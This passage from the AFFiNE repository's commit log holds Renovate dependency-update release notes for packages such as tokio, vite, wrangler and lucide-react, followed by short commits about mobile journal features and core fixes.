| [napi-derive](https://redirect.github.com/napi-rs/napi-rs) | `3.0.0-alpha.17` -> `3.0.0-alpha.18` | [![age](https://developer.mend.io/api/mc/badges/age/crate/napi-derive/3.0.0-alpha.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/napi-derive/3.0.0-alpha.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/napi-derive/3.0.0-alpha.17/3.0.0-alpha.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/napi-derive/3.0.0-alpha.17/3.0.0-alpha.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [nx](https://nx.dev) ([source](https://redirect.github.com/nrwl/nx/tree/HEAD/packages/nx)) | [`20.0.10` -> `20.0.12`](https://renovatebot.com/diffs/npm/nx/20.0.10/20.0.12) | [![age](https://developer.mend.io/api/mc/badges/age/npm/nx/20.0.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/nx/20.0.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/nx/20.0.10/20.0.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nx/20.0.10/20.0.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [postcss](https://postcss.org/) ([source](https://redirect.github.com/postcss/postcss)) | [`8.4.47` -> `8.4.48`](https://renovatebot.com/diffs/npm/postcss/8.4.47/8.4.48) | [![age](https://developer.mend.io/api/mc/badges/age/npm/postcss/8.4.48?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/postcss/8.4.48?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/postcss/8.4.47/8.4.48?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/postcss/8.4.47/8.4.48?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [react-hook-form](https://www.react-hook-form.com) ([source](https://redirect.github.com/react-hook-form/react-hook-form)) | [`7.53.1` -> `7.53.2`](https://renovatebot.com/diffs/npm/react-hook-form/7.53.1/7.53.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-hook-form/7.53.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-hook-form/7.53.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-hook-form/7.53.1/7.53.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-hook-form/7.53.1/7.53.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [react-i18next](https://redirect.github.com/i18next/react-i18next) | [`15.1.0` -> `15.1.1`](https://renovatebot.com/diffs/npm/react-i18next/15.1.0/15.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-i18next/15.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-i18next/15.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-i18next/15.1.0/15.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-i18next/15.1.0/15.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [tokio](https://tokio.rs) ([source](https://redirect.github.com/tokio-rs/tokio)) | `1.41.0` -> `1.41.1` | [![age](https://developer.mend.io/api/mc/badges/age/crate/tokio/1.41.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/tokio/1.41.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/tokio/1.41.0/1.41.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/tokio/1.41.0/1.41.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dev-dependencies | patch |
| [tokio](https://tokio.rs) ([source](https://redirect.github.com/tokio-rs/tokio)) | `1.41.0` -> `1.41.1` | [![age](https://developer.mend.io/api/mc/badges/age/crate/tokio/1.41.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/tokio/1.41.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/tokio/1.41.0/1.41.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/tokio/1.41.0/1.41.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [uuid](https://redirect.github.com/uuidjs/uuid) | [`11.0.2` -> `11.0.3`](https://renovatebot.com/diffs/npm/uuid/11.0.2/11.0.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/uuid/11.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/uuid/11.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/uuid/11.0.2/11.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/uuid/11.0.2/11.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [vite](https://vite.dev) ([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite)) | [`5.4.10` -> `5.4.11`](https://renovatebot.com/diffs/npm/vite/5.4.10/5.4.11) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vite/5.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vite/5.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vite/5.4.10/5.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/5.4.10/5.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [wrangler](https://redirect.github.com/cloudflare/workers-sdk) ([source](https://redirect.github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler)) | [`3.85.0` -> `3.86.0`](https://renovatebot.com/diffs/npm/wrangler/3.85.0/3.86.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/wrangler/3.86.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/wrangler/3.86.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/wrangler/3.85.0/3.86.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/wrangler/3.85.0/3.86.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |

---

### Release Notes

<details>
<summary>aws/aws-sdk-js-v3 (@&#8203;aws-sdk/client-s3)</summary>

### [`v3.688.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#36880-2024-11-08)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.687.0...v3.688.0)

**Note:** Version bump only for package [@&#8203;aws-sdk/client-s3](https://redirect.github.com/aws-sdk/client-s3)

### [`v3.687.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#36870-2024-11-07)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.686.0...v3.687.0)

**Note:** Version bump only for package [@&#8203;aws-sdk/client-s3](https://redirect.github.com/aws-sdk/client-s3)

</details>

<details>
<summary>open-telemetry/opentelemetry-js (@&#8203;opentelemetry/exporter-prometheus)</summary>

### [`v0.54.2`](6f4f3fcefd...72c9af9198)

[Compare Source](6f4f3fcefd...72c9af9198)

</details>

<details>
<summary>swc-project/swc (@&#8203;swc/core)</summary>

### [`v1.9.2`](https://redirect.github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#192---2024-11-11)

[Compare Source](https://redirect.github.com/swc-project/swc/compare/v1.9.1...v1.9.2)

##### Bug Fixes

-   **(es)** Fix typo in feature name ([#&#8203;9721](https://redirect.github.com/swc-project/swc/issues/9721)) ([aff9de5](aff9de5ea3))

##### Features

-   **(es/codegen)** Implement proper `inline_script` support ([#&#8203;9729](https://redirect.github.com/swc-project/swc/issues/9729)) ([e732a36](e732a36373))

</details>

<details>
<summary>cloudflare/wrangler-action (cloudflare/wrangler-action)</summary>

### [`v3.12.1`](https://redirect.github.com/cloudflare/wrangler-action/releases/tag/v3.12.1)

[Compare Source](https://redirect.github.com/cloudflare/wrangler-action/compare/v3.12.0...v3.12.1)

##### Patch Changes

-   [#&#8203;319](https://redirect.github.com/cloudflare/wrangler-action/pull/319) [`59c04629408d58978884fadd18755f1a15f96157`](59c0462940) Thanks [@&#8203;Maximo-Guk](https://redirect.github.com/Maximo-Guk)! - Fixes [#&#8203;317](https://redirect.github.com/cloudflare/wrangler-action/issues/317): Generate a new output directory with a randomUUID in the tmpDir, so that when the action is executed multiple times, we use the artifacts from that run, opposed to the artifacts from a previous run.

</details>

<details>
<summary>electron/electron (electron)</summary>

### [`v33.2.0`](https://redirect.github.com/electron/electron/releases/tag/v33.2.0): electron v33.2.0

[Compare Source](https://redirect.github.com/electron/electron/compare/v33.1.0...v33.2.0)

### Release Notes for v33.2.0

#### Features

-   Added GPU accelerated shared texture offscreen rendering. [#&#8203;44511](https://redirect.github.com/electron/electron/pull/44511)

#### Other Changes

-   Updated Chromium to 130.0.6723.118. [#&#8203;44591](https://redirect.github.com/electron/electron/pull/44591)

</details>

<details>
<summary>megahertz/electron-log (electron-log)</summary>

### [`v5.2.2`](https://redirect.github.com/megahertz/electron-log/compare/v5.2.0...v5.2.2)

[Compare Source](https://redirect.github.com/megahertz/electron-log/compare/v5.2.0...v5.2.2)

</details>

<details>
<summary>mmalecot/file-format (file-format)</summary>

### [`v0.26.0`](https://redirect.github.com/mmalecot/file-format/blob/HEAD/CHANGELOG.md#Version-0260-2024-11-07)

[Compare Source](https://redirect.github.com/mmalecot/file-format/compare/v0.25.0...v0.26.0)

#### API

-   Add `reader-id3v2` feature

#### Improvements

-   Improve Free Lossless Audio Codec (FLAC) detection when it contains ID3v2 metadata
-   Improve MPEG-1/2 Audio Layer 3 (MP3) detection

#### New formats support

-   ID3v2 (ID3)

</details>

<details>
<summary>html-validate/html-validate (html-validate)</summary>

### [`v8.25.0`](https://gitlab.com/html-validate/html-validate/blob/HEAD/CHANGELOG.md#8250-2024-11-11)

[Compare Source](https://gitlab.com/html-validate/html-validate/compare/v8.24.2...v8.25.0)

##### Features

-   **cli:** add `--preset` to set preset when using cli ([2ec038f](2ec038fea2)), closes [#&#8203;269](https://gitlab.com/html-validate/html-validate/issues/269)

##### Bug Fixes

-   properly close elements with optional end tag when implicit document element is used ([bbe2a99](bbe2a99421)), closes [#&#8203;268](https://gitlab.com/html-validate/html-validate/issues/268)
-   **types:** narrow numeric rule severity to only 0, 1 and 2 ([88cf8a2](88cf8a2aaa))

</details>

<details>
<summary>i18next/i18next (i18next)</summary>

### [`v23.16.5`](https://redirect.github.com/i18next/i18next/blob/HEAD/CHANGELOG.md#23165)

[Compare Source](https://redirect.github.com/i18next/i18next/compare/v23.16.4...v23.16.5)

-   fix extractFromKey for use cases like [this](https://redirect.github.com/i18next/react-i18next/issues/1810)

</details>

<details>
<summary>lucide-icons/lucide (lucide-react)</summary>

### [`v0.456.0`](https://redirect.github.com/lucide-icons/lucide/releases/tag/0.456.0): Choosing import name style 0.456.0

[Compare Source](https://redirect.github.com/lucide-icons/lucide/compare/0.455.0...0.456.0)

#### What's Changed

-   ci(pull-request): Fix generate comments for empty changes by [@&#8203;ericfennis](https://redirect.github.com/ericfennis) in [https://github.com/lucide-icons/lucide/pull/2593](https://redirect.github.com/lucide-icons/lucide/pull/2593)
-   feat(lucide-react, lucide-preact, lucide-react-native, lucide-solid, lucide-vue-next): Adjustable icon naming imports by [@&#8203;ericfennis](https://redirect.github.com/ericfennis) in [https://github.com/lucide-icons/lucide/pull/2328](https://redirect.github.com/lucide-icons/lucide/pull/2328)
-   fix(icons): changed `glass-water` icon by [@&#8203;jguddas](https://redirect.github.com/jguddas) in [https://github.com/lucide-icons/lucide/pull/2579](https://redirect.github.com/lucide-icons/lucide/pull/2579)

### Adjustable icon naming imports

Customize import name styles for `lucide-react`, `lucide-vue`, `lucide-react-native`, `lucide-preact`, to manage autocompletion in your IDE.

1.  **Turn off autocomplete in your IDE**:
    Add the following to your `settings.json`

```json
{
  "typescript.preferences.autoImportFileExcludePatterns": [
    "lucide-react",
    "lucide-preact",
    "lucide-react-native",
    "lucide-vue-next"
  ]
}
```

2.  **Create a custom module declaration file**:

It allows you to choose the import name style.

For React:

```ts
declare module "lucide-react" {
  // Prefixed import names
  export * from "lucide-react/dist/lucide-react.prefixed";
  // or
  // Suffixed import names
  export * from "lucide-react/dist/lucide-react.suffixed";
}
```

For Vue:

```ts
declare module "lucide-vue-next" {
  // Prefixed import names
  export * from "lucide-vue-next/dist/lucide-vue-next.prefixed";
  // or
  // Suffixed import names
  export * from "lucide-vue-next/dist/lucide-vue-next.suffixed";
}
```

### [`v0.455.0`](https://redirect.github.com/lucide-icons/lucide/releases/tag/0.455.0): New icons 0.455.0

[Compare Source](https://redirect.github.com/lucide-icons/lucide/compare/0.454.0...0.455.0)

#### New icons 🎨

-   `wind-arrow-down` ([#&#8203;2554](https://redirect.github.com/lucide-icons/lucide/issues/2554)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)

#### Modified Icons 🔨

-   `file-music` ([#&#8203;2536](https://redirect.github.com/lucide-icons/lucide/issues/2536)) by [@&#8203;jguddas](https://redirect.github.com/jguddas)
-   `slice` ([#&#8203;2500](https://redirect.github.com/lucide-icons/lucide/issues/2500)) by [@&#8203;jguddas](https://redirect.github.com/jguddas)
-   `undo-dot` ([#&#8203;2557](https://redirect.github.com/lucide-icons/lucide/issues/2557)) by [@&#8203;jguddas](https://redirect.github.com/jguddas)
-   `wind` ([#&#8203;2554](https://redirect.github.com/lucide-icons/lucide/issues/2554)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)

</details>

<details>
<summary>mixpanel/mixpanel-js (mixpanel-browser)</summary>

### [`v2.56.0`](https://redirect.github.com/mixpanel/mixpanel-js/compare/v2.55.1...v2.56.0)

[Compare Source](https://redirect.github.com/mixpanel/mixpanel-js/compare/v2.55.1...v2.56.0)

</details>

<details>
<summary>mswjs/msw (msw)</summary>

### [`v2.6.4`](https://redirect.github.com/mswjs/msw/releases/tag/v2.6.4)

[Compare Source](https://redirect.github.com/mswjs/msw/compare/v2.6.3...v2.6.4)

#### v2.6.4 (2024-11-10)

##### Bug Fixes

-   prevent infinite loop when bypassing `sendBeacon()` requests ([#&#8203;2353](https://redirect.github.com/mswjs/msw/issues/2353)) ([`2fa98c3`](2fa98c327a)) [@&#8203;kettanaito](https://redirect.github.com/kettanaito)
-   remove the internal bypass request header before performing the request as-is in Node.js ([#&#8203;2353](https://redirect.github.com/mswjs/msw/issues/2353)) ([`2fa98c3`](2fa98c327a)) [@&#8203;kettanaito](https://redirect.github.com/kettanaito)

### [`v2.6.3`](https://redirect.github.com/mswjs/msw/releases/tag/v2.6.3)

[Compare Source](https://redirect.github.com/mswjs/msw/compare/v2.6.2...v2.6.3)

#### v2.6.3 (2024-11-10)

##### Bug Fixes

-   **handleRequest:** remove `transformResponse` option ([#&#8203;2351](https://redirect.github.com/mswjs/msw/issues/2351)) ([`74c4a3a`](74c4a3a899)) [@&#8203;kettanaito](https://redirect.github.com/kettanaito)

### [`v2.6.2`](https://redirect.github.com/mswjs/msw/releases/tag/v2.6.2)

[Compare Source](https://redirect.github.com/mswjs/msw/compare/v2.6.1...v2.6.2)

##### v2.6.2 (2024-11-07)

##### Bug Fixes

-   update `@bundled-es-modules/cookie` to 2.0.1 ([#&#8203;2312](https://redirect.github.com/mswjs/msw/issues/2312)) ([`c134352`](c134352e82)) [@&#8203;kettanaito](https://redirect.github.com/kettanaito)

</details>

<details>
<summary>napi-rs/napi-rs (napi-derive)</summary>

### [`v3.0.0-alpha.18`](https://redirect.github.com/napi-rs/napi-rs/releases/tag/napi-derive%403.0.0-alpha.18)

[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/napi-derive@3.0.0-alpha.17...napi-derive@3.0.0-alpha.18)

#### What's Changed

-   chore(napi-derive): remove unused dependency `regex` from `napi-derive-backend` by [@&#8203;Adjective-Object](https://redirect.github.com/Adjective-Object) in [https://github.com/napi-rs/napi-rs/pull/2344](https://redirect.github.com/napi-rs/napi-rs/pull/2344)

#### New Contributors

-   [@&#8203;Adjective-Object](https://redirect.github.com/Adjective-Object) made their first contribution in [https://github.com/napi-rs/napi-rs/pull/2344](https://redirect.github.com/napi-rs/napi-rs/pull/2344)

**Full Changelog**: https://github.com/napi-rs/napi-rs/compare/napi-derive@3.0.0-alpha.17...napi-derive@3.0.0-alpha.18

</details>

<details>
<summary>nrwl/nx (nx)</summary>

### [`v20.0.12`](https://redirect.github.com/nrwl/nx/releases/tag/20.0.12)

[Compare Source](https://redirect.github.com/nrwl/nx/compare/20.0.11...20.0.12)

##### 20.0.12 (2024-11-08)

##### 🩹 Fixes

-   **core:** create different dummy tasks for different targets ([#&#8203;28837](https://redirect.github.com/nrwl/nx/pull/28837))
-   **core:** do not depend on ci info crate ([#&#8203;28850](https://redirect.github.com/nrwl/nx/pull/28850))

##### ❤️  Thank You

-   Jason Jean [@&#8203;FrozenPandaz](https://redirect.github.com/FrozenPandaz)

### [`v20.0.11`](https://redirect.github.com/nrwl/nx/releases/tag/20.0.11)

[Compare Source](https://redirect.github.com/nrwl/nx/compare/20.0.10...20.0.11)

##### 20.0.11 (2024-11-07)

##### 🚀 Features

-   **nx-cloud:** configure import paths for light client when running … ([#&#8203;28735](https://redirect.github.com/nrwl/nx/pull/28735))
-   **nx-dev:** add video course page ([#&#8203;28736](https://redirect.github.com/nrwl/nx/pull/28736))

##### 🩹 Fixes

-   **core:** fix cannot read properties of undefined (reading 'split') ([#&#8203;28761](https://redirect.github.com/nrwl/nx/pull/28761))
-   **core:** task graph needs to handle multiple cycles ([#&#8203;28793](https://redirect.github.com/nrwl/nx/pull/28793))
-   **core:** empty external deps should work properly ([#&#8203;28727](https://redirect.github.com/nrwl/nx/pull/28727))
-   **core:** ensure that the database connection is closed when nx exits ([#&#8203;28821](https://redirect.github.com/nrwl/nx/pull/28821))
-   **graph:** add better pdv empty states when no targets exist ([#&#8203;28797](https://redirect.github.com/nrwl/nx/pull/28797))
-   **nx-dev:** SEO tags ([#&#8203;28823](https://redirect.github.com/nrwl/nx/pull/28823))
-   **repo:** update version of actions/github-script in nightly script ([#&#8203;28784](https://redirect.github.com/nrwl/nx/pull/28784))

##### ❤️  Thank You

-   Craigory Coppola [@&#8203;AgentEnder](https://redirect.github.com/AgentEnder)
-   Emily Xiong [@&#8203;xiongemi](https://redirect.github.com/xiongemi)
-   Jonathan Cammisuli
-   Juri Strumpflohner [@&#8203;juristr](https://redirect.github.com/juristr)
-   Louie Weng [@&#8203;lourw](https://redirect.github.com/lourw)
-   MaxKless [@&#8203;MaxKless](https://redirect.github.com/MaxKless)
-   Miroslav Jonaš [@&#8203;meeroslav](https://redirect.github.com/meeroslav)

</details>

<details>
<summary>postcss/postcss (postcss)</summary>

### [`v8.4.48`](https://redirect.github.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8448)

[Compare Source](https://redirect.github.com/postcss/postcss/compare/8.4.47...8.4.48)

-   Fixed position calculation in error/warnings methods (by [@&#8203;romainmenke](https://redirect.github.com/romainmenke)).

</details>

<details>
<summary>react-hook-form/react-hook-form (react-hook-form)</summary>

### [`v7.53.2`](https://redirect.github.com/react-hook-form/react-hook-form/releases/tag/v7.53.2): Version 7.53.2

[Compare Source](https://redirect.github.com/react-hook-form/react-hook-form/compare/v7.53.1...v7.53.2)

🐞 fix [#&#8203;12398](https://redirect.github.com/react-hook-form/react-hook-form/issues/12398) staled disabled issue with resubmit form ([#&#8203;12403](https://redirect.github.com/react-hook-form/react-hook-form/issues/12403))
🐞 fix: add type guard to fieldRef.select ([#&#8203;12390](https://redirect.github.com/react-hook-form/react-hook-form/issues/12390))
Revert "🏺 watch reference update on formState update ([#&#8203;12326](https://redirect.github.com/react-hook-form/react-hook-form/issues/12326))" ([#&#8203;12391](https://redirect.github.com/react-hook-form/react-hook-form/issues/12391))

thanks to [@&#8203;developer-bandi](https://redirect.github.com/developer-bandi)

</details>

<details>
<summary>i18next/react-i18next (react-i18next)</summary>

### [`v15.1.1`](https://redirect.github.com/i18next/react-i18next/blob/HEAD/CHANGELOG.md#1511)

[Compare Source](https://redirect.github.com/i18next/react-i18next/compare/v15.1.0...v15.1.1)

-   fix: Not all namespaces are loaded when passing the lng option to useTranslate [1809](https://redirect.github.com/i18next/next-i18next/issues/1809)

</details>

<details>
<summary>tokio-rs/tokio (tokio)</summary>

### [`v1.41.1`](https://redirect.github.com/tokio-rs/tokio/releases/tag/tokio-1.41.1): Tokio v1.41.1

[Compare Source](https://redirect.github.com/tokio-rs/tokio/compare/tokio-1.41.0...tokio-1.41.1)

### 1.41.1 (Nov 7th, 2024)

##### Fixed

-   metrics: fix bug with wrong number of buckets for the histogram ([#&#8203;6957])
-   net: display `net` requirement for `net::UdpSocket` in docs ([#&#8203;6938])
-   net: fix typo in `TcpStream` internal comment ([#&#8203;6944])

[#&#8203;6957]: https://redirect.github.com/tokio-rs/tokio/pull/6957

[#&#8203;6938]: https://redirect.github.com/tokio-rs/tokio/pull/6938

[#&#8203;6944]: https://redirect.github.com/tokio-rs/tokio/pull/6944

</details>

<details>
<summary>uuidjs/uuid (uuid)</summary>

### [`v11.0.3`](https://redirect.github.com/uuidjs/uuid/blob/HEAD/CHANGELOG.md#1103-2024-11-04)

[Compare Source](https://redirect.github.com/uuidjs/uuid/compare/v11.0.2...v11.0.3)

##### Bug Fixes

-   apply stricter typing to the v\* signatures ([#&#8203;831](https://redirect.github.com/uuidjs/uuid/issues/831)) ([c2d3fed](c2d3fed22c))
-   export internal uuid types ([#&#8203;833](https://redirect.github.com/uuidjs/uuid/issues/833)) ([341edf4](341edf444c))
-   remove sourcemaps ([#&#8203;827](https://redirect.github.com/uuidjs/uuid/issues/827)) ([b93ea10](b93ea101af))
-   revert "simplify type for v3 and v5" ([#&#8203;835](https://redirect.github.com/uuidjs/uuid/issues/835)) ([e2dee69](e2dee691e9))

</details>

<details>
<summary>vitejs/vite (vite)</summary>

### [`v5.4.11`](https://redirect.github.com/vitejs/vite/releases/tag/v5.4.11)

Please refer to [CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v5.4.11/packages/vite/CHANGELOG.md) for details.

</details>

<details>
<summary>cloudflare/workers-sdk (wrangler)</summary>

### [`v3.86.0`](https://redirect.github.com/cloudflare/workers-sdk/blob/HEAD/packages/wrangler/CHANGELOG.md#3860)

[Compare Source](https://redirect.github.com/cloudflare/workers-sdk/compare/wrangler@3.85.0...wrangler@3.86.0)

##### Minor Changes

-   [#&#8203;7154](https://redirect.github.com/cloudflare/workers-sdk/pull/7154) [`ef7c0b3`](ef7c0b3641) Thanks [@&#8203;jonesphillip](https://redirect.github.com/jonesphillip)! - Added the ability to enable, disable, and get r2.dev public access URLs for R2 buckets.

##### Patch Changes

-   [#&#8203;7169](https://redirect.github.com/cloudflare/workers-sdk/pull/7169) [`9098a3b`](9098a3b03f) Thanks [@&#8203;penalosa](https://redirect.github.com/penalosa)! - Ensure `workerd` processes are cleaned up after address-in-use errors

-   [#&#8203;7172](https://redirect.github.com/cloudflare/workers-sdk/pull/7172) [`3dce388`](3dce3881bd) Thanks [@&#8203;penalosa](https://redirect.github.com/penalosa)! - Clarify dev registry messaging around locally connected services. The connection status of local service bindings & durable object bindings is now indicated by `connected` or `not connected` next to their entry in the bindings summary. For more details, refer to https://developers.cloudflare.com/workers/runtime-apis/bindings/service-bindings/#local-development

-   [#&#8203;7193](https://redirect.github.com/cloudflare/workers-sdk/pull/7193) [`ad51d1d`](ad51d1d774) Thanks [@&#8203;sdnts](https://redirect.github.com/sdnts)! - Output suggested wrangler.toml changes after creating an R2 bucket

-   [#&#8203;7191](https://redirect.github.com/cloudflare/workers-sdk/pull/7191) [`1d5bc6d`](1d5bc6d353) Thanks [@&#8203;sdnts](https://redirect.github.com/sdnts)! - Output suggested wrangler.toml changes after creating a Queue

-   Updated dependencies \[[`1db7846`](1db7846ec5), [`08c6580`](08c6580494)]:
    -   miniflare@3.20241106.0
    -   [@&#8203;cloudflare/workers-shared](https://redirect.github.com/cloudflare/workers-shared)[@&#8203;0](https://redirect.github.com/0).7.1

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC4xNDIuNyIsInVwZGF0ZWRJblZlciI6IjM5LjcuMSIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-11 10:23:26 +00:00
CatsJuice
c4e65c754e feat(mobile): jouranl daily activity and conflict operations (#8779)
close AF-1662
2024-11-11 09:31:31 +00:00
CatsJuice
50a04f6443 feat(mobile): new journal date-picker (#8757)
close AF-1649

<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/LakojjjzZNf6ogjOVwKE/a83ca41a-75ac-4d12-959a-23f06740a76d.mp4">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/LakojjjzZNf6ogjOVwKE/a83ca41a-75ac-4d12-959a-23f06740a76d.mp4">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/LakojjjzZNf6ogjOVwKE/a83ca41a-75ac-4d12-959a-23f06740a76d.mp4">CleanShot 2024-11-09 at 12.54.41.mp4</video>
2024-11-11 09:31:30 +00:00
EYHN
9239eed6a7 fix(core): fix delete doc property description (#8772) 2024-11-11 06:48:04 +00:00
CatsJuice
7bdad2dc4b feat(mobile): new journal tab, show App tab for journal page (#8738)
close AF-1648
2024-11-11 04:26:02 +00:00
L-Sun
1284f33a4b chore(mobile): disable some toolbar widgets for mobile (#8742)
This PR disable some toolbar widgets on mobile. Close [BS-1730](https://linear.app/affine-design/issue/BS-1730/%E7%A6%81%E7%94%A8-block-yuan%E7%B4%A0%E7%9A%84-toolbar)
2024-11-11 03:55:28 +00:00
forehalo
39c65051ac fix(infra): export op module (#8769) 2024-11-11 03:24:28 +00:00
pengx17
e6ef1dea51 fix(core): deleted tags property cannot be added back (#8761)
fix AF-1661
2024-11-11 02:48:04 +00:00
EYHN
2aceed8824 fix(infra): retry search and aggregate on indexeddb (#8767) 2024-11-11 02:32:29 +00:00
js os
e2f281ac18 fix(server): make scope field optional in access token response (#8753)
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2024-11-09 20:01:33 +08:00
liuyi
d6618b6891 feat(infra): introduce op pattern (#8734) 2024-11-09 15:23:38 +08:00
renovate
571e25a7a1 chore: bump up marked version to v15 (#8756)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [marked](https://marked.js.org) ([source](https://redirect.github.com/markedjs/marked)) | [`^14.0.0` -> `^15.0.0`](https://renovatebot.com/diffs/npm/marked/14.1.3/15.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/marked/15.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/marked/15.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/marked/14.1.3/15.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/marked/14.1.3/15.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>markedjs/marked (marked)</summary>

### [`v15.0.0`](https://redirect.github.com/markedjs/marked/releases/tag/v15.0.0)

[Compare Source](https://redirect.github.com/markedjs/marked/compare/v14.1.4...v15.0.0)

##### Bug Fixes

